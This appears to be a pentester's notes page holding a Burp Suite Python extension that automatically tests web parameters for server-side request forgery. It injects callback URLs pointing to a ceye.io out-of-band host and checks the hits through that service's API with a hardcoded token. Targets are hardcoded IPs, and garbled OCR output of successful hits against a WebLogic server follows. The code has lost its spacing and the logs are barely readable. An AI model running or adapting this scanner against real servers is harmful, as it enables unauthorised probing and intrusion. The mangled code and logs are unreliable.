<<ssrf.py>>

版本2

 

<<ssrf.py>>

ssrf的关键字参考https://www.secpulse.com/archives/4747.html

share

wap

url

link

src

source

target

u

3g

display

sourceURl

imageURL

Domain

img

domain

...

 

来自 <https://sobug.com/article/detail/11>

 

 

测试环境用https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf的 weblogic漏洞

版本2增加了file:///ect/passwd文件读取的设置

#!/usr/bin/envpython

#-*-coding:utf-8-*-

#-*-coding:utf-8-*-

#!/usr/bin/envpython

#author:xiaodong

#支持mysql的报错注入和延时注入,mssql的延时注入检测

#如果需要,可以把注释掉的sql检测语句也加入到检测里

#bool类型检测自己手动检测就行,无需脚本

from__future__importwith_statement

fromburpimportIBurpExtender

fromburpimportIHttpListener

fromburpimportIHttpRequestResponse

fromburpimportIResponseInfo

fromburpimportIRequestInfo

fromburpimportIHttpService

importre

importurllib2

importtime

importthreading

importsys

reload(sys)

sys.setdefaultencoding('UTF-8')

SLEEP_TIME=3

 

saveFile=r'H:\2.py\py_self\py3\project\burpExtend\sql.txt'

print"SSRFTEST\nauthor:xiaodong"

 

classFuzzSSRF:

def__init__(self):

 

 

self.ssrfFlag=re.compile(r'.*(test737627282726262627272727266226.txt\^\^\^).*')

classBurpExtender(IBurpExtender,IHttpListener):

globalurls

urls=[]

defregisterExtenderCallbacks(self,callbacks):

 

self._callbacks=callbacks

 

#用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。

self._helpers=callbacks.getHelpers()

 

#用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name-扩展名。。

self._callbacks.setExtensionName("SSRFTEST")

 

#用于注册侦听器,该侦听器将通知任何Burp工具发出的请求和响应。扩展可以通过注册HTTP侦听器来执行自定义分析或修改这些消息。参数:listener-实现IHttpListener接口的扩展创建的对象。

callbacks.registerHttpListener(self)

 

self.fuzzSSRF=FuzzSSRF()

 

#获取请求的url

defget_request_url(self,protocol,reqHeaders):

link=reqHeaders[0].split('')[1]

host=reqHeaders[1].split('')[1]

returnprotocol+'://'+host+link

 

#保存结果

 

#获取请求的一些信息:请求头,请求内容,请求方法,请求参数

defget_request_info(self,request):

analyzedRequest=self._helpers.analyzeRequest(

request)#analyzeRequest用于分析HTTP请求,并获取有关它的各种关键详细信息。生成的IRequestInfo对象

reqHeaders=analyzedRequest.getHeaders()#用于获取请求中包含的HTTP头。返回:请求中包含的HTTP标头。

reqBodys=request[analyzedRequest.getBodyOffset():].tostring()#获取消息正文开始的请求中的偏移量。返回:消息正文开始的请求中的偏移量。

reqMethod=analyzedRequest.getMethod()#获取请求方法

reqParameters=analyzedRequest.getParameters()

returnanalyzedRequest,reqHeaders,reqBodys,reqMethod,reqParameters

defceyefin(self,flag):

url='http://api.ceye.io/v1/records?token=23715ab222a6e221916405658caf5061&type=http'

headers={u"Content-Type":u"application/json"}

response=urllib2.urlopen(url,timeout=5)

ifflaginresponse.read().decode('utf-8'):

return"ok,foundassrfverifyit"

 

 

 

#获取响应的一些信息:响应头,响应内容,响应状态码

defget_response_info(self,response):

analyzedResponse=self._helpers.analyzeResponse(

response)#analyzeResponse方法可用于分析HTTP响应,并获取有关它的各种关键详细信息。返回:IResponseInfo可以查询的对象以获取有关响应的详细信息。

resHeaders=analyzedResponse.getHeaders()#getHeaders方法用于获取响应中包含的HTTP标头。返回:响应中包含的HTTP标头。

resBodys=response[

analyzedResponse.getBodyOffset():].tostring()#getBodyOffset方法用于获取消息正文开始的响应中的偏移量。返回:消息正文开始的响应中的偏移量。response[analyzedResponse.getBodyOffset():]获取正文内容

resStatusCode=analyzedResponse.getStatusCode()#getStatusCode获取响应中包含的HTTP状态代码。返回:响应中包含的HTTP状态代码。

returnresHeaders,resBodys,resStatusCode

 

#获取服务端的信息,主机地址,端口,协议

defget_server_info(self,httpService):

host=httpService.getHost()

port=httpService.getPort()

protocol=httpService.getProtocol()

ishttps=False

ifprotocol=='https':

ishttps=True

returnhost,port,protocol,ishttps

 

#获取请求的参数名、参数值、参数类型(get、post、cookie->用来构造参数时使用)

defget_parameter_Name_Value_Type(self,parameter):

parameterName=parameter.getName()

parameterValue=parameter.getValue()

parameterType=parameter.getType()

returnparameterName,parameterValue,parameterType

 

#检查是否存在LFI

defcheck_ssrf_inject(self,request,protocol,host,port,ishttps,parameterName,parameterValuessrf,parameterType):

thread_id=threading.current_thread().ident

#print'['+str(thread_id)+']'+parameterValueSQL

#构造参数

newParameter=self._helpers.buildParameter(parameterName,parameterValuessrf,parameterType)

#printnewParameter

#更新参数,并发送请求

newRequest=self._helpers.updateParameter(request,newParameter)

newAnalyzedRequest,newReqHeaders,newReqBodys,newReqMethod,newReqParameters=self.get_request_info(

newRequest)

 

#新的响应

newResponse=self._callbacks.makeHttpRequest(host,port,ishttps,newRequest)

newResHeaders,newResBodys,newResStatusCode=self.get_response_info(newResponse)

 

ssrf_flag=host+'.m4mta5.ceye.io'+'/test737627282726262627272727266226.txt'

#判断是否存在特征

errorInject=self.ceyefin(ssrf_flag)

 

iferrorInject:

#获取请求的url

newReqUrl=self.get_request_url(protocol,newReqHeaders)

content='[+]{}->{}\n[Headers]->{}\n[Bodys]->{}'.format('[SSRFGET]',errorInject,newReqUrl,newReqHeaders,newReqBodys)

printcontent

#self.save(content)

print'-'*50

 

 

 

#每次burp发送请求时,都会调用该方法

defprocessHttpMessage(self,toolFlag,messageIsRequest,messageInfo):

'''

:paramtoolFlag:一个标志,指示发出请求的Burp工具。Burp工具标志在IBurpExtenderCallbacks界面中定义

:parammessageIsRequest:标记是否为请求或响应调用方法。

:parammessageInfo:要处理的请求/响应的详细信息。扩展可以调用此对象上的setter方法来更新当前消息,从而修改Burp的行为。

:return:

'''

 

#Proxy触发插件

iftoolFlag==4:

 

#处理响应内容

ifnotmessageIsRequest:

 

#获取请求包的数据

request=messageInfo.getRequest()

analyzedRequest,reqHeaders,reqBodys,reqMethod,reqParameters=self.get_request_info(request)

 

#获取响应包的数据

#response=messageInfo.getResponse()#getResponse方法用于检索请求消息。返回:响应消息。

#resHeaders,resBodys,resStatusCode=self.get_response_info(response)

 

#获取服务信息

httpService=messageInfo.getHttpService()

host,port,protocol,ishttps=self.get_server_info(httpService)

 

#获取请求的url

#reqUrl=self.get_request_url(protocol,reqHeaders)

 

#ifreqMethod=='GET':

iflen(host.split('.')[-2])!=3:

host_exp=host.split('.')[-2]+'.'+host.split('.')[-1]

else:

host_exp=host.split('.')[-3]+'.'+host.split('.')[-2]+'.'+host.split('.')[-1]

#printhost_exp

#获取请求的url

#reqUrl=self.get_request_url(protocol,reqHeaders)

url=str(host)+reqHeaders[0].split('')[1]+str(reqBodys)

#printurl

#ifreqMethod=='GET':

target_host=[','','']

target_ip=['108.61.84.54']

ifurlnotinurls:

#printurl

urls.append(url)

ifhost_expintarget_hostorhostintarget_ip:

ifreqHeaders[0].split('')[1].endswith('.js')orreqHeaders[0].split('')[1].endswith('.css')orreqHeaders[0].split('')[1].endswith('.jpg')orreqHeaders[0].split('')[1].endswith('.png')orreqHeaders[0].split('')[1].endswith('.gif')orreqHeaders[0].split('')[1].endswith('.woff?'):

#print"staticsource"

pass

 

else:

error_threads=[]

parameterErrorSSRF=[]#报错语句列表

forparameterinreqParameters:

parameterName,parameterValue,parameterType=self.get_parameter_Name_Value_Type(parameter)

if'//'inparameterValue:

parameterValue="http://"+host+'.m4mta5.ceye.io'+'/test737627282726262627272727266226.txt'

 

t=threading.Thread(target=self.check_ssrf_inject,args=(request,protocol,host,port,ishttps,parameterName,parameterValue,parameterType))

error_threads.append(t)

t.start()

fortinerror_threads:

t.join()

 

 

 

else:

print"isarepeaturl"

 

 

 

 

Burp Extensions  Extensions let you customize aurp•s behavior using your own or third-party code  o  Up  Type  Python  Python  Python  Tme- based sqlinject checks  SQL Inject  dig inje cbon*+int  LEI GET  Details Output Errors  o  Output to system console  0  @ Showinl_ll  max-age=O, Upgrade-Insecure-Requests I User-Agent: MoziIIaEO CWndows NT 10 0, V'vOv'vE4) AppleWebKtE37 36 (KHTML, like Gecko) Chromey70 0 3538M 10 SafariE37 36, Accept:  text'html ,application/xhtml+xml S ,image/webp ,image/apng E, Accept-Encoding: gzip, deflate, Accept-Language: zh-CN S E, Cookie  JSESS10NlD=rzgQcvGQmyhayLQHS034WvlhPKQ21 nfqrnf0NfT02qLX1 pkdSdQn!1728239034; 08 61 84 54 m4mtas ceye jonest737627282726262627272727266226 txt, connection: close]  GET] -  > ok found a ssrf verify t  [Headers] http:.TI 08 61 84 54: 7001 /uddiexpIorerEearchPubIicRegistries  [Bodys] [GET /uddiexpIorerEearchPubIicRegistriesjsp?rdoSearch=name8txtSearchname=sdf8txtSearchkey=8seIfor=ausiness+Iocation8btnSubmt=Search80perator=18txtSearchfor= HTTP/I Host 108 61 84 54: 7001 Cache-control:  max-age=O, Upgrade-Insecure-Requests I User-Agent: MoziIIaEO C#ndows NT 10 0, V'vOvnvE4) AppleWebKtE37 36 (KHTML, like Gecko) Chromey70 0 3538M 10 SafariE37 36, Accept:  text'html ,application/xhtml+xml S ,image/webp ,image/apng E, Accept-Encoding: gzip, deflate, Accept-Language: zh-CN g E, Cookie  publicinquiryurls=http://www-3jbmcom.'services/uddihnquiryapi!EMlhttp://www-3jbmcom/services/uddi/v2betahnquiryapi!EM V21http://uddiMemicrosoftcominquire!Microsoftlhttp://services xmethods net/gIuehnquire/uddi!XMethodsl;  JSESS10NlD=rzgacvGamyhayLOHS034WvlhPK021 nfqrnf0NfT02qLX1 pkdSdQn!1728239034, connection: close]  GET] -  > ok found a ssrf verify t  [Headers] http:.TI 08 61 84 54: 7001 /uddiexpIorerEearchPubIicRegistries  [Bodys] [GET HTTP/I Host 108 61 84 54: 7001 Cache-control:  max-age=O, Upgrade-Insecure-Requests I User-Agent: MoziIIaEO C#ndows NT 10 0, V'vOvnvE4) AppleWebKtE37 36 (KHTML, like Gecko) Chromey70 0 3538M 10 SafariE37 36, Accept:  text'html ,application/xhtml+xml S ,image/webp ,image/apng E, Accept-Encoding: gzip, deflate, Accept-Language: zh-CN g E, Cookie  publicinquiryurls=http://www-3jbmcom.'services/uddihnquiryapi!EMlhttp://www-3jbmcom/services/uddi/v2betahnquiryapi!EM V21http://uddiMemicrosoftcominquire!Microsoftlhttp://services xmethods net/gIuehnquire/uddi!XMethodsl;  JSESS10NlD=rzgacvGamyhayLOHS034WvlhPK021 nfqrnf0NfT02qLX1 pkdSdQn!1728239034, connection: close]

 

 

Remote Addr  73%10  Name  http:\/45.77_219.180m4mta5_ceye_io/test73762728272  6262627272727266226txt  Method  POST  user Agent  Oxnnl version="l O"  st  nv:Envelope xmlns:s  oapenc="http:osche  masxmlsoaF.org/soa  p/encoding/" xmlns:x  sd="http:\/wmv.w3_or  0/2001 ;xuscheme  xmlns:env="httpWsch  ap/envelopet' xmlns:  xsi="http:\/wmv.w3_or  Content Type  created At (UTC+O)  g/2001/XMLSchema-  d_business generic  xmlns="urn:ud  <7xml version="1 0"  st  nv:Envelope xmlns:s  oapenc="http:osche  masxmlsoaF.org/soa  p/encoding/" xmlns:x  sd="http:\/wmv_w3_or  g/2001/XMLScheme  xmlns:env="httpWsch  45  text/xml; charset=UT  2019-04-12  Windows